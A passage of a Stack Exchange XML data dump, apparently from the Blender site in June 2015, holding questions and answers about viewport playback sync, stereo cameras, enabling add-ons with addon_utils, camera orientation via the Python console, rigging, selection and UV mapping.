Tags="&lt;interface&gt;&lt;3d-view&gt;" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32417" PostTypeId="2" ParentId="32416" CreationDate="2015-06-13T17:50:41.363" Score="4" Body="&lt;p&gt;Sadly, this isn't currently possible in Blender.&lt;/p&gt;&#xA;" OwnerUserId="8228" LastEditorUserId="8262" LastEditDate="2015-06-13T17:57:00.757" LastActivityDate="2015-06-13T17:57:00.757" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32418" PostTypeId="2" ParentId="32376" CreationDate="2015-06-13T18:32:50.527" Score="4" Body="&lt;p&gt;They come in help when the animation is too heavy to handle realtime reproduction, affecting only the 3D viewport, not the renders.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;No sync means that every frame in the viewport is showed as soon as possible, and a number in the upper left corner of the 3D view tells you the frame rate actually being reproduced: if white everything is OK (I.E. 24 FPS - default), if Red is slower (Maybe 4.67 FPS).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Frame Dropping means that the FPS is always the choosen one (24 - default), and blender jumps from a frame to another trying to remain in sync, actually not displaying (dropping) all the frames between.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;AV Sync is used in combination with the VSE, assuring corrispondence between the 3D frame and the VSE frame.&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-13T18:32:50.527" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32419" PostTypeId="2" ParentId="32366" CreationDate="2015-06-13T19:06:27.617" Score="5" Body="&lt;p&gt;When using the &quot;Stereo 3D&quot; mode; there only needs to be one camera present in the scene. The left and right cameras are created as children of the active camera, and their settings are controlled from the &quot;Properties Window&quot; -&gt; &quot;Object Data&quot; tab; in the &quot;Stereoscopy&quot; panel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Using &quot;Multi-View&quot; each camera needs to be added and positioned manually, however there can be more than two. The &quot;Properties Window&quot; -&gt; &quot;Object Data&quot; tab &quot;Stereoscopy&quot; panel is not added in this mode.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;Properties Window&quot; -&gt; &quot;Render Layers&quot; tab, &quot;Views&quot; panel contains a list of camera &quot;render views&quot;, with left and right already preset.&lt;br&gt;&#xA;For each of these render views there is an associated &quot;Suffix&quot; text field.&lt;br&gt;&#xA;In &quot;Stereo 3D&quot; mode this suffix field simply appends this text to the filename of the render of each camera.&lt;br&gt;&#xA;In &quot;Multi-View&quot; mode this suffix field not only appends the text as above, it also identifies each camera producing a render view, therefore each camera needs to be renamed and should end with the matching suffix (case sensitive).  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The error; Camera &quot;Camera_XXX&quot; is not a multi-view camera, seems to occur when the name of the active camera does not end with one of the suffixes defined in the &quot;render views&quot; list, or if the any of the &quot;render views&quot; list suffixes are not assigned to a camera.&lt;br&gt;&#xA;(This error message seems to return the name of the active camera, and not necessarily the name of a camera that is not assigned to a &quot;render view&quot;.)&lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-06-13T19:06:27.617" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32420" PostTypeId="2" ParentId="32409" CreationDate="2015-06-13T19:37:22.273" Score="9" Body="&lt;p&gt;There is an API to manage addons to bypass operators, see &lt;code&gt;addon_utils&lt;/code&gt;, this isn't exposed in the API docs because its mainly to manage internal functions. But the API is quite stable now.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;addon_utils.enable(&#xA;        module_name, default_set=False, persistent=False, handle_error=None)&#xA;&#xA;addon_utils.disable(&#xA;        module_name, default_set=False, handle_error=None)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Typically its enough to call:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;import addon_utils&#xA;addon_utils.enable(&quot;my_addon&quot;)&#xA;addon_utils.disable(&quot;my_addon&quot;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Use &lt;code&gt;default_set&lt;/code&gt; if you want the value to be stored in the preferences, (although these will have to be saved for the new configuration to be used on restarting Blender).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the docstrings in the source: &lt;br&gt;&#xA;&lt;a href=&quot;https://developer.blender.org/diffusion/B/browse/master/release/scripts/modules/addon_utils.py&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://developer.blender.org/diffusion/B/browse/master/release/scripts/modules/addon_utils.py&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Since you ask about reloading, see this question on recursive reloading.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stackoverflow.com/questions/28101895/reloading-packages-and-their-submodules-recursively-in-python&quot;&gt;https://stackoverflow.com/questions/28101895/reloading-packages-and-their-submodules-recursively-in-python&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:20.630" LastActivityDate="2015-06-13T22:49:03.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32421" PostTypeId="2" ParentId="32382" CreationDate="2015-06-13T19:42:30.583" Score="8" Body="&lt;p&gt;One way this can be done, is by animating the &lt;strong&gt;offset sliders&lt;/strong&gt; in the &lt;em&gt;Textures Panel&lt;/em&gt;. Simply hover with cursor over &lt;em&gt;X,Y,Z values&lt;/em&gt; (see the image below) and press &lt;kbd&gt;I&lt;/kbd&gt; to insert a keyframe:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/H2ZMm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="3710" LastEditDate="2015-06-15T07:50:08.657" LastActivityDate="2015-06-15T07:50:08.657" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32422" PostTypeId="2" ParentId="32373" CreationDate="2015-06-13T19:51:57.070" Score="2" Body="&lt;p&gt;It sounds like you need to add an armature and rig it to your mesh.  The various armatures can be posed and animated independently although they share a single armature datablock.  The same with the objects instantiating the mesh.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found a couple of rigging tutorials by searching for  blender armature rigging.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/watch?v=B9iL1hmJXrI&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/watch?v=B9iL1hmJXrI&lt;/a&gt;  &lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://www.blenderguru.com/tutorials/introduction-to-rigging/&quot; rel=&quot;nofollow&quot;&gt;http://www.blenderguru.com/tutorials/introduction-to-rigging/&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And the Humane Rigging series is somewhat legendary&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.youtube.com/playlist?list=PLE211C8C41F1AFBAB&quot; rel=&quot;nofollow&quot;&gt;https://www.youtube.com/playlist?list=PLE211C8C41F1AFBAB&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;It is entirely possible to place multiple independent meshes under control of a single armature by giving each mesh an armature modifier pointing at the controlling armature.  This still requires assignment of vertex groups, but you would have to do that in a single-mesh situation anyway.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An even simpler system is to give each mesh a &quot;child of&quot; constraint and make it the child of a single bone in the armature.  This is only appropriate if each mesh is a single rigid element, but if your objects are constructed in this way, you do not have to assign vertex groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am not sure what problem you are solving with proxies.  When I am linking assets from external files, I often end clicking Make Local on the Object datablock (storing positions, constraints, modifiers, etc) and the Mesh datablock is still a link to the source .blend.  Changes to the mesh will be reflected in the linking .blend upon next load.  The drawback is that changes to the modifiers and object position would not be.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My suspicion is that blender can accomplish the vast majority of what you want to do, but some of the workflow steps are not covered by the tutorials you have read yet.&lt;/p&gt;&#xA;" OwnerUserId="660" LastEditorUserId="660" LastEditDate="2015-06-14T14:16:02.417" LastActivityDate="2015-06-14T14:16:02.417" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="32424" PostTypeId="1" CreationDate="2015-06-13T20:13:57.097" Score="7" ViewCount="820" Body="&lt;p&gt;I've been using Blender since 2007 and before I've used (in that order) MiniCAD, Strata Studio Pro, Alias Wavefront and Cinema 4D. I love blender and I could never go back to my previous love Cinema 4D because I think Blender is simply better once you get the hang of it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now I am starting a 3D project with other people and most of them are using Cinema 4D. We decided to use Blender and I am introducing them to the workflow. A general issue with the interface is viewport navigation. Most of them are used to point and click so I am thinking about writing a plugin for Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically what I want to achieve is this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4Uhp4.jpg&quot; alt=&quot;blender viewport navigation&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a lot of experience with Ruby and JavaScript programming and I will be able to get into Python really quickly. I only need a few pointers to get me started. So here are a few questions:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;how can I add such a hanging tab to the 3d viewport&lt;/li&gt;&#xA;&lt;li&gt;how can I activate pan/zoom/rotate of the viewport when the mouse button is pressed&lt;/li&gt;&#xA;&lt;li&gt;is there an existing addon to build on?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7460" LastActivityDate="2016-01-06T16:13:04.687" Title="Visual viewport controls" Tags="&lt;python&gt;&lt;3d-view&gt;&lt;add-on&gt;" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="32425" PostTypeId="1" AcceptedAnswerId="32429" CreationDate="2015-06-13T20:45:47.310" Score="5" ViewCount="961" Body="&lt;p&gt;What I have been doing in blender requires me to orient the camera to face planes oriented along the x and y axis head on.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, the camera plane needs to be perfectly parallel to the x-y plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can more or less get what I want if I choose top view and move the camera and center it on the x-y axis. But then I need to rotate it to face the x-y plane directly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is tedious and the result is imprecise.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(It's been far easier to just rotate whatever object I'm working with to face the camera's weird default angle, but then I lose the sense of logic in the coordinate system, and it's still imprecise.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A programmatic solution might be best.&lt;/p&gt;&#xA;" OwnerUserId="14978" LastEditorUserId="2217" LastEditDate="2015-06-13T21:42:07.290" LastActivityDate="2015-06-14T07:16:27.843" Title="Use the console to orient the camera plane exactly parallel to the x-y plane?" Tags="&lt;python&gt;&lt;transforms&gt;&lt;camera&gt;" AnswerCount="2" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32427" PostTypeId="1" AcceptedAnswerId="32439" CreationDate="2015-06-13T22:24:42.000" Score="2" ViewCount="721" Body="&lt;p&gt;I have an object that flies in circles using Bezier Circle curve modifier. I would like to add rotation to the Bezier Circle itself. But once I'm trying to animate the Bezier Circle spin, the object doesn't follow the circle's path, but it just flies away.&lt;/p&gt;&#xA;" OwnerUserId="625" LastActivityDate="2015-06-14T07:21:52.027" Title="How to rotate bezier circle with an object following its path?" Tags="&lt;modifiers&gt;&lt;bezier-curves&gt;" AnswerCount="1" CommentCount="0" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32428" PostTypeId="1" AcceptedAnswerId="32430" CreationDate="2015-06-13T22:49:33.810" Score="4" ViewCount="2341" Body="&lt;p&gt;Every now and then I will stumble across this issue when making instanced objects in a circular rotation pattern. The origins will be at the center of the arc, while the actual meshes will be a large distance away from the origin. I will then add more objects with identically positioned origins in the center of the circle (i.e. watch face). Is there a way to select the outer bolts using an equivalent of the standard &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;LMB&lt;/kbd&gt; free-select for mesh surface instead of mesh origins? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/yf8pH.png&quot; alt=&quot;Select By Surface Illustration&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am aware of the ability to select linked objects, this solution will not always work.&lt;/p&gt;&#xA;" OwnerUserId="6204" LastActivityDate="2015-06-14T23:44:04.290" Title="Is it possible to select multiple objects based on mesh and not origin?" Tags="&lt;mesh&gt;&lt;selection-tools&gt;" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32429" PostTypeId="2" ParentId="32425" CreationDate="2015-06-13T23:08:42.833" Score="4" Body="&lt;p&gt;The question suggests that you are using the manipulator widgets or mouse to position and rotate your assets.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Blender provides numerous input methods for performing transform operations upon assets.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;To specifically answer your question:&lt;br&gt;&#xA;Typing (or pasting) the following into the console will center the camera 3 blender units above the world origin, and orient it so that it is looking directly at the x-y plane.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;bpy.data.objects['Camera'].rotation_euler[0] = 0&#xA;bpy.data.objects['Camera'].rotation_euler[1] = 0&#xA;bpy.data.objects['Camera'].rotation_euler[2] = 0&#xA;bpy.data.objects['Camera'].location[0] = 0&#xA;bpy.data.objects['Camera'].location[1] = 0&#xA;bpy.data.objects['Camera'].location[2] = 3  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, there are simpler methods for achieving the same results;&lt;br&gt;&#xA;With the camera selected, you can input the numerical values directly into the input fields shown here&lt;br&gt;&#xA;&lt;img src=&quot;https://i.stack.imgur.com/pxsLh.png&quot; alt=&quot;enter image description here&quot;&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;or even simpler; with the camera selected;&lt;br&gt;&#xA;press [Alt + G] (to reset the camera position)&lt;br&gt;&#xA;press [Alt + R] (to reset the camera rotation)&lt;br&gt;&#xA;then drag on the blue manipulator arrow to raise the camera to any height you like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or you can set the camera to the view plane as suggested by NoviceInDisguise&lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-06-13T23:08:42.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32430" PostTypeId="2" ParentId="32428" CreationDate="2015-06-13T23:32:50.540" Score="3" Body="&lt;p&gt;Border select seems to select by mesh surface, whereas circle and lasso select use origin positions.&lt;/p&gt;&#xA;" OwnerUserId="13901" LastActivityDate="2015-06-13T23:32:50.540" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="32432" PostTypeId="2" ParentId="14628" CreationDate="2015-06-14T02:33:38.157" Score="0" Body="&lt;p&gt;the reason that yours isnt working is because you haven't told it what it is colliding with. to do this add a material to the bullet, call it bullet and then on the collision sensor of the target click the M/P button and select the bullet material and you should be good.&lt;/p&gt;&#xA;" OwnerUserId="14993" LastActivityDate="2015-06-14T02:33:38.157" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32433" PostTypeId="1" CreationDate="2015-06-14T02:41:10.897" Score="2" ViewCount="907" Body="&lt;p&gt;Blender's hair tools are very nice for, well, making hair. I would like to convert hair that has been styled and animated into a mesh while keeping the animation. &lt;a href=&quot;https://blender.stackexchange.com/questions/20894/export-blender-particle-system-hair-to-three-js&quot;&gt;Export Blender Particle System Hair To Three.Js&lt;/a&gt; details converting hair to a mesh, but afterwards the hair is no longer animated by physics. Physics based animation is a must for me in this case.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm willing to consider other ways of making hair if I have to.&lt;/p&gt;&#xA;" OwnerUserId="14456" LastEditorUserId="-1" LastEditDate="2017-04-13T12:57:42.850" LastActivityDate="2015-06-14T06:55:28.783" Title="Convert particle hair to anime-style mesh hair and keep all physics animation" Tags="&lt;mesh&gt;&lt;physics&gt;" AnswerCount="0" CommentCount="3" FavoriteCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32434" PostTypeId="1" CreationDate="2015-06-14T03:41:06.650" Score="2" ViewCount="975" Body="&lt;p&gt;I am new to Blender, I've been playing around with it for about 2 weeks now, first time with a 3D software. I've done some tutorials and there are some where I have to go to user preferences and choose an add-on, the first time I did this, it was with the sapling add-on, worked fine, however today when I went to play around with it again, I checked the box, but the add-on settings that usually showed up on the tool bar on the left side of the screen isn't there. for any add-ons. I was really hoping someone could shed some light on why this is?&lt;/p&gt;&#xA;" OwnerUserId="14994" LastEditorUserId="47" LastEditDate="2015-06-14T05:42:35.547" LastActivityDate="2018-01-23T23:19:12.873" Title="Add-on doesn't show up in the Toolbar" Tags="&lt;add-on&gt;" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32435" PostTypeId="2" ParentId="32434" CreationDate="2015-06-14T04:02:18.223" Score="4" Body="&lt;p&gt;Enabled add-ons can be enabled permanently by saving the user settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Otherwise they are enabled only on the current session, but will not be loaded next time you open Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/2Dn7Z.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerDisplayName="user1853" LastEditorUserId="55" LastEditDate="2015-06-14T05:09:04.480" LastActivityDate="2015-06-14T05:09:04.480" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="32436" PostTypeId="2" ParentId="32396" CreationDate="2015-06-14T06:51:27.673" Score="1" Body="&lt;p&gt;You can keyframe colors for a shader by tapping &lt;kbd&gt;i&lt;/kbd&gt; while hovering the mouse cursor over the color field.  This works for most, if not all, value fields in various areas of Blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Once you add a keyframe, the color box will have a yellow border.  Now when you move the Timeline slider, the outline will turn green to indicate that a keyframe has not yet been set for this new position.  You can change the color and then press &lt;kbd&gt;i&lt;/kbd&gt; again while hovering over the new color to set the color for that frame.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Im2c0.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-06-14T06:51:27.673" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32437" PostTypeId="2" ParentId="32428" CreationDate="2015-06-14T07:08:20.857" Score="1" Body="&lt;p&gt;I think that the fastest selection method, in your case, is by typing the name of the object in the outliner search bar (often a couple of type is enough)&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-14T07:08:20.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32438" PostTypeId="2" ParentId="32425" CreationDate="2015-06-14T07:16:27.843" Score="1" Body="&lt;p&gt;If you lock the X and Y rotation of the camera, every movement will stay oriented toward the XY plane.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/88NbT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="13752" LastActivityDate="2015-06-14T07:16:27.843" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32439" PostTypeId="2" ParentId="32427" CreationDate="2015-06-14T07:21:52.027" Score="3" Body="&lt;p&gt;The following animation shows what I think you are asking for.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/XV6M6.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(i) keyframe the curve using the key-shorcuts &lt;kbd&gt;i&lt;/kbd&gt; then &lt;kbd&gt;t&lt;/kbd&gt; while the timeline slider is at the beginning of the animation sequence.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(ii) Add another object and move it to the edge of the curve. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iii) Now, with the model selected, hold &lt;kbd&gt;shift&lt;/kbd&gt; and select the curve.  This should leave the model outlined in orange, indicating a secondary selection with the curve highlighted with yellow(the primary selection).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(iv)  Use &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;p&lt;/kbd&gt; and select-&gt;&lt;strong&gt;&lt;em&gt;Follow Path&lt;/em&gt;&lt;/strong&gt; (several options work for this, I'm not sure what the subtleties are for the various types ;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(v)  now you should be able to move the curve around and keyframe its different transforms along the timeline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where the object and curve are, in relation to each other, when you parent them will be affected by where the timeline slider is when you parent the objects.  Here is an animation that shows what happens when I parented the model to the curve mid-way through the animation.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/DWTkY.gif&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastActivityDate="2015-06-14T07:21:52.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32440" PostTypeId="1" CreationDate="2015-06-14T07:44:19.047" Score="1" ViewCount="98" Body="&lt;p&gt;I am using Blender 2.74 with LUbuntu 14.10. In this case preview and rendering acted different, as I explain below. I tried also in Blender 2.69 and in this version preview was showing the same behaviour as rendering, which is what I am trying to resolve.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've got a project with 6 channels. Channel 1 is just for Color strips, to easy the process of fading in and out. Channel 2 is a Movie strip. Channel 3 is the (processed) audio of that movie and channels 4 to 6 contain different Scenes with text fading in and out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The movie and its related sound also fade in and out. I play with Keyframes and opacity for all fades. When previewing everything runs smooth.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when rendering, with no apparent reason the movie strip fades out to black just a short time after its programmed fade in, and stays that way short before ending, where it fades in again (by itself) before performing its programmed fading out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I move that strip from channel 2 to channel 7, then its channel 4 (i. e., one of the text scenes) the one fading in and out with no apparent reason.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've checked Keyframes in Graph Editor for the different strips and I can't see anything abnormal. All the strips have an Alpha Over blend except the color strips in channel one, with a Cross blend.&lt;/p&gt;&#xA;" OwnerUserId="14995" LastEditorUserId="2843" LastEditDate="2016-03-08T12:38:24.703" LastActivityDate="2016-03-08T12:38:24.703" Title="When working with different scenes, lower channels fade out" Tags="&lt;video-sequence-editor&gt;&lt;text-object&gt;&lt;scene&gt;" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32441" PostTypeId="1" CreationDate="2015-06-14T08:08:58.050" Score="3" ViewCount="154" Body="&lt;p&gt;I was looking around and saw that blender has the python bpy module which can basically touch or do anything within blender.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I setup a simulation in blender then control it from blender scripts using a python script?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so is there some sample code to do this?&lt;/p&gt;&#xA;" OwnerUserId="14984" LastActivityDate="2015-06-14T08:08:58.050" Title="Updating the blender simulation by scripts" Tags="&lt;python&gt;" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="32442" PostTypeId="1" CreationDate="2015-06-14T08:27:49.763" Score="2" ViewCount="281" Body="&lt;p&gt;Here's my test scene setup:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/uMXQf.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically, the cone spawns objects every 30 frames. So, the sphere is located in another layer, it is present in the scene natively. Everything works fine in both embedded and standalone players. Everything work fine also with the object I &lt;strong&gt;appended&lt;/strong&gt; to the scene.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/u6OqT.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem begins when I &lt;strong&gt;link&lt;/strong&gt; an object from another scene. In this case it is &lt;em&gt;CubeBit2&lt;/em&gt;. In embedded player it is perfectly fine.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/Ox9gB.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But when I launch it in standalone player, - it spawns one &lt;strong&gt;CubeBit2&lt;/strong&gt; at some random location and spawning with the cone doesn't work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/xDCVw.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tested it with another scene where there was a counter and differentiation between linked and native objects, so I'm positive it is not a problem with spawner cone.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Has anybody encountered this behaviour? Is there a way to make linked objects work with &lt;em&gt;Add Object&lt;/em&gt; in standalone player? Maybe there is some option I'm missing that should be enabled to make linked objects work?&lt;/p&gt;&#xA;" OwnerUserId="2324" LastActivityDate="2015-06-14T08:27:49.763" Title="Add object won't work in standalone BGE player with linked objects" Tags="&lt;game-engine&gt;&lt;objects&gt;&lt;linked-data&gt;" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32443" PostTypeId="2" ParentId="32440" CreationDate="2015-06-14T08:44:20.573" Score="1" Body="&lt;p&gt;I found the answer. In the properties tab of the text scene, render, shading, alpha has to be turned to Transparent. I guess there is a bug in version 2.74 that shows the preview in the wrong way.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tx!!!&lt;/p&gt;&#xA;" OwnerUserId="14995" LastActivityDate="2015-06-14T08:44:20.573" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="32444" PostTypeId="2" ParentId="32392" CreationDate="2015-06-14T09:15:13.437" Score="1" Body="&lt;p&gt;To add the darker banded lines on the ends of the model, you can make a linear gradient texture, instead, I used Google image search.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By selecting all of the edges and by pressing &lt;kbd&gt;u&lt;/kbd&gt; &lt;strong&gt;&lt;em&gt;UV Mapping-&gt;Follow Active Quads&lt;/em&gt;&lt;/strong&gt; you should end up with a mapping that is proportional and square.  Be sure to select a face near an edge where you want the mapping to begin.  This will be the &lt;strong&gt;&lt;em&gt;Active Quad&lt;/em&gt;&lt;/strong&gt; which the algorithm uses as its basis.  You can see the active quad in the following image, it is pale compared to the other selections and also has a grid of white dots across it. Now rotate and scale the UV Coordinates to align properly with the image you selected.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/P9ZYU.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The color doesn't matter because you can use an RBG To BW node to make it greyscale.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is what it looks like when rendered.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/FJBQN.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;You can also use &lt;strong&gt;&lt;em&gt;Generated Coordinates&lt;/em&gt;&lt;/strong&gt; with a &lt;strong&gt;&lt;em&gt;Wave Texture&lt;/em&gt;&lt;/strong&gt; set to &lt;strong&gt;&lt;em&gt;Bands&lt;/em&gt;&lt;/strong&gt;.  It works well for the model I made but this is because the model is planer and is rolled up with an Armature.  When the Armature Modifier is Applied, it no longer works.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/4w1Yt.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/271/&quot; rel=&quot;nofollow noreferrer&quot;&gt;Here&lt;/a&gt; is the Blend file. Select either of the Material Output nodes to make that material active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://blend-exchange.giantcowfilms.com/b/271/&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://blend-exchange.giantcowfilms.com/embedImage.png?bid=271&quot; /&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1448" LastEditorUserId="-1" LastEditDate="2017-03-14T09:14:09.993" LastActivityDate="2015-06-15T00:56:28.447" CommentCount="7" ContentLicense="CC BY-SA 3.0" />
